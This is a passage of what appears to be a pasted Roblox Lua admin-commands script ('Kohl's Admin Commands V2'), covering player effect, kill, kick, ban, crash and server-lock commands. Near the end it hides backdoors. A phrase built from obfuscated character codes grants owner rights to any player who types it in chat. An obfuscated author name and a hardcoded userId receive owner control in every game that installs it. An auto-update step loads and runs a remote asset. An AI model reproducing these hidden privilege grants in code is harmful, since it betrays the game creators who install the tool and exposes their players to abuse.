  1553. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1554. cl.Parent = v.Character cl.Disabled = false
  1555. end
  1556. end))
  1557. end
  1558. end
  1559.  
  1560. if msg:lower():sub(1,8) == "noobify " then
  1561. local plrz = GetPlr(plr, msg:lower():sub(9))
  1562. for i, v in pairs(plrz) do
  1563. coroutine.resume(coroutine.create(function()
  1564. if v and v.Character then
  1565. Noobify(v.Character)
  1566. end
  1567. end))
  1568. end
  1569. end
  1570.  
  1571. if msg:lower():sub(1,9) == "ghostify " then
  1572. local plrz = GetPlr(plr, msg:lower():sub(10))
  1573. for i, v in pairs(plrz) do
  1574. coroutine.resume(coroutine.create(function()
  1575. if v and v.Character and v.Character:findFirstChild("Torso") then
  1576. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1577. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1578. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1579. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1580. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1581. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1582. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1583. end end
  1584. end
  1585. end))
  1586. end
  1587. end
  1588.  
  1589. if msg:lower():sub(1,8) == "goldify " then
  1590. local plrz = GetPlr(plr, msg:lower():sub(9))
  1591. for i, v in pairs(plrz) do
  1592. coroutine.resume(coroutine.create(function()
  1593. if v and v.Character and v.Character:findFirstChild("Torso") then
  1594. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1595. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1596. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1597. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1598. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1599. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1600. end end
  1601. end
  1602. end))
  1603. end
  1604. end
  1605.  
  1606. if msg:lower():sub(1,6) == "shiny " then
  1607. local plrz = GetPlr(plr, msg:lower():sub(7))
  1608. for i, v in pairs(plrz) do
  1609. coroutine.resume(coroutine.create(function()
  1610. if v and v.Character and v.Character:findFirstChild("Torso") then
  1611. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1612. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1613. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1614. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1615. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1616. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1617. end end
  1618. end
  1619. end))
  1620. end
  1621. end
  1622.  
  1623. if msg:lower():sub(1,7) == "normal " then
  1624. local plrz = GetPlr(plr, msg:lower():sub(8))
  1625. for i, v in pairs(plrz) do
  1626. coroutine.resume(coroutine.create(function()
  1627. if v and v.Character and v.Character:findFirstChild("Torso") then
  1628. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1629. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1630. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1631. v.Character.Torso.Transparency = 0
  1632. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1633. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1634. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1635. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1636. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1637. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1638. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1639. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1640. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1641. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1642. end end
  1643. end
  1644. end))
  1645. end
  1646. end
  1647.  
  1648. if msg:lower():sub(1,7) == "trippy " then
  1649. local plrz = GetPlr(plr, msg:lower():sub(8))
  1650. for i, v in pairs(plrz) do
  1651. coroutine.resume(coroutine.create(function()
  1652. if v and v:findFirstChild("PlayerGui") then
  1653. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1654. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1655. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1656. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1657. end
  1658. end))
  1659. end
  1660. end
  1661.  
  1662. if msg:lower():sub(1,9) == "untrippy " then
  1663. local plrz = GetPlr(plr, msg:lower():sub(10))
  1664. for i, v in pairs(plrz) do
  1665. coroutine.resume(coroutine.create(function()
  1666. if v and v:findFirstChild("PlayerGui") then
  1667. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1668. end
  1669. end))
  1670. end
  1671. end
  1672.  
  1673. if msg:lower():sub(1,7) == "strobe " then
  1674. local plrz = GetPlr(plr, msg:lower():sub(8))
  1675. for i, v in pairs(plrz) do
  1676. coroutine.resume(coroutine.create(function()
  1677. if v and v:findFirstChild("PlayerGui") then
  1678. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1679. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1680. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1681. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1682. end
  1683. end))
  1684. end
  1685. end
  1686.  
  1687. if msg:lower():sub(1,9) == "unstrobe " then
  1688. local plrz = GetPlr(plr, msg:lower():sub(10))
  1689. for i, v in pairs(plrz) do
  1690. coroutine.resume(coroutine.create(function()
  1691. if v and v:findFirstChild("PlayerGui") then
  1692. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1693. end
  1694. end))
  1695. end
  1696. end
  1697.  
  1698. if msg:lower():sub(1,6) == "blind " then
  1699. local plrz = GetPlr(plr, msg:lower():sub(7))
  1700. for i, v in pairs(plrz) do
  1701. coroutine.resume(coroutine.create(function()
  1702. if v and v:findFirstChild("PlayerGui") then
  1703. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1704. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1705. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1706. end
  1707. end))
  1708. end
  1709. end
  1710.  
  1711. if msg:lower():sub(1,8) == "unblind " then
  1712. local plrz = GetPlr(plr, msg:lower():sub(9))
  1713. for i, v in pairs(plrz) do
  1714. coroutine.resume(coroutine.create(function()
  1715. if v and v:findFirstChild("PlayerGui") then
  1716. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1717. end
  1718. end))
  1719. end
  1720. end
  1721.  
  1722. if msg:lower():sub(1,7) == "guifix " then
  1723. local plrz = GetPlr(plr, msg:lower():sub(8))
  1724. for i, v in pairs(plrz) do
  1725. coroutine.resume(coroutine.create(function()
  1726. if v and v:findFirstChild("PlayerGui") then
  1727. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1728. end
  1729. end))
  1730. end
  1731. end
  1732.  
  1733. if msg:lower():sub(1,9) == "loopheal " then
  1734. local plrz = GetPlr(plr, msg:lower():sub(10))
  1735. for i, v in pairs(plrz) do
  1736. if v then
  1737. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1738. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1739. repeat wait()
  1740. coroutine.resume(coroutine.create(function()
  1741. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1742. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1743. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1744. end
  1745. end))
  1746. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1747. end
  1748. end
  1749. end
  1750.  
  1751. if msg:lower():sub(1,11) == "unloopheal " then
  1752. local plrz = GetPlr(plr, msg:lower():sub(12))
  1753. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1754. end
  1755.  
  1756. if msg:lower():sub(1,10) == "loopfling " then
  1757. local plrz = GetPlr(plr, msg:lower():sub(11))
  1758. for i, v in pairs(plrz) do
  1759. if v then
  1760. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1761. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1762. repeat
  1763. coroutine.resume(coroutine.create(function()
  1764. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1765. local xran local zran
  1766. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1767. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1768. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1769. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1770. end
  1771. end))
  1772. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1773. end
  1774. end
  1775. end
  1776.  
  1777. if msg:lower():sub(1,12) == "unloopfling " then
  1778. local plrz = GetPlr(plr, msg:lower():sub(13))
  1779. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1780. end
  1781.  
  1782. end
  1783.  
  1784. -------------------------
  1785. -- True Owner Commands --
  1786. -------------------------
  1787.  
  1788. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1789.  
  1790. if msg:lower():sub(1,3) == "oa " then
  1791. local plrz = GetPlr(plr, msg:lower():sub(4))
  1792. for i, v in pairs(plrz) do
  1793. coroutine.resume(coroutine.create(function()
  1794. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1795. end))
  1796. end
  1797. end
  1798.  
  1799. if msg:lower():sub(1,5) == "unoa " then
  1800. for i = 1, #owners do
  1801. coroutine.resume(coroutine.create(function()
  1802. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1803. end))
  1804. end
  1805. end
  1806.  
  1807. end
  1808.  
  1809. --------------------
  1810. -- Owner Commands --
  1811. --------------------
  1812.  
  1813. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1814.  
  1815. if msg:lower():sub(1,3) == "pa " then
  1816. local plrz = GetPlr(plr, msg:lower():sub(4))
  1817. for i, v in pairs(plrz) do
  1818. coroutine.resume(coroutine.create(function()
  1819. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1820. end))
  1821. end
  1822. end
  1823.  
  1824. if msg:lower():sub(1,5) == "unpa " then
  1825. for i = 1, #admins do
  1826. coroutine.resume(coroutine.create(function()
  1827. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  1828. end))
  1829. end
  1830. end
  1831.  
  1832. end
  1833.  
  1834. --------------------------
  1835. -- Super Admin Commands --
  1836. --------------------------
  1837.  
  1838. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  1839.  
  1840. if msg:lower() == "logs" then
  1841. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  1842. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  1843. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1844. end
  1845.  
  1846. if msg:lower():sub(1,9) == "loopkill " then
  1847. local chk1 = msg:lower():sub(10):find(" ")
  1848. local plrz = GetPlr(plr, msg:lower():sub(10))
  1849. local num = 9999
  1850. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  1851. for i, v in pairs(plrz) do
  1852. if v and not ChkAdmin(v.Name, false) then
  1853. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  1854. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1855. for i = 1, ]] .. tostring(num) .. [[ do
  1856. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  1857. coroutine.resume(coroutine.create(function()
  1858. if plr and plr.Character then plr.Character:BreakJoints() end
  1859. end))
  1860. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1861. end
  1862. end
  1863. end
  1864.  
  1865. if msg:lower():sub(1,11) == "unloopkill " then
  1866. local plrz = GetPlr(plr, msg:lower():sub(12))
  1867. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1868. end
  1869.  
  1870. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  1871. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  1872.  
  1873. if msg:lower():sub(1,3) == "sm " then
  1874. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  1875. end
  1876.  
  1877. if msg:lower():sub(1,3) == "ko " then
  1878. local chk1 = msg:lower():sub(4):find(" ") + 3
  1879. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1880. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  1881. for n = 1, num do
  1882. for i, v in pairs(plrz) do
  1883. coroutine.resume(coroutine.create(function()
  1884. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  1885. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  1886. v.Character:BreakJoints()
  1887. wait(1/44)
  1888. v:LoadCharacter()
  1889. wait(1/44)
  1890. end
  1891. end))
  1892. end
  1893. end
  1894. end
  1895.  
  1896. if msg:lower():sub(1,6) == "crash " then
  1897. local plrz = GetPlr(plr, msg:lower():sub(7))
  1898. for i, v in pairs(plrz) do
  1899. coroutine.resume(coroutine.create(function()
  1900. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  1901. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  1902. end
  1903. end))
  1904. end
  1905. end
  1906.  
  1907. if msg:lower():sub(1,5) == "kick " then
  1908. local plrz = GetPlr(plr, msg:lower():sub(6))
  1909. for i, v in pairs(plrz) do
  1910. coroutine.resume(coroutine.create(function()
  1911. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  1912. end))
  1913. end
  1914. end
  1915.  
  1916. if msg:lower():sub(1,6) == "admin " then
  1917. local plrz = GetPlr(plr, msg:lower():sub(7))
  1918. for i, v in pairs(plrz) do
  1919. coroutine.resume(coroutine.create(function()
  1920. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1921. end))
  1922. end
  1923. end
  1924.  
  1925. if msg:lower():sub(1,8) == "unadmin " then
  1926. for i = 1, #tempadmins do
  1927. coroutine.resume(coroutine.create(function()
  1928. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  1929. end))
  1930. end
  1931. end
  1932.  
  1933. if msg:lower():sub(1,4) == "ban " then
  1934. local plrz = GetPlr(plr, msg:lower():sub(5))
  1935. for i, v in pairs(plrz) do
  1936. coroutine.resume(coroutine.create(function()
  1937. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  1938. end))
  1939. end
  1940. end
  1941.  
  1942. if msg:lower():sub(1,6) == "unban " then
  1943. for i = 1, #banland do
  1944. coroutine.resume(coroutine.create(function()
  1945. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  1946. end))
  1947. end
  1948. end
  1949.  
  1950. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  1951.  
  1952. end
  1953. end))
  1954. end
  1955.  
  1956. function AdminControl(plr)
  1957. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  1958. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  1959. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  1960. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  1961. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  1962. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  1963. end)) end
  1964. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  1965. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  1966. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  1967. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  1968. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  1969. end
  1970.  
  1971. if not ntab then script:Destroy() end
  1972. if not bct then script:Destroy() end
  1973.  
  1974. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  1975.  
  1976. script.Name = "Kohl's Admin Commands V2"
  1977.  
  1978. if not ntab then script:Destroy() end
  1979. if not bct then script:Destroy() end
  1980. if not tcb then script:Destroy() end
  1981. game.Players.PlayerAdded:connect(AdminControl)
  1982. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  1983. end
  1984.  
  1985. local mod = game:service("InsertService"):LoadAsset(100808216)
  1986. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  1987. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  1988. newac.Disabled = true
  1989. local new = tonumber(mod:findFirstChild("Version", true).Value)
  1990. local old = 0
  1991. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  1992. if new > old then
  1993. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  1994. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  1995. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  1996. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  1997. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  1998. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  1999. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2000. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2001. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2002. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2003. wait()
  2004. newac.Parent = game.Workspace
  2005. newac.Disabled = false
  2006. script.Disabled = true
  2007. script:Destroy()
  2008. else
  2009. CHEESE()
  2010. end
  2011. else
  2012. CHEESE()
  2013. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement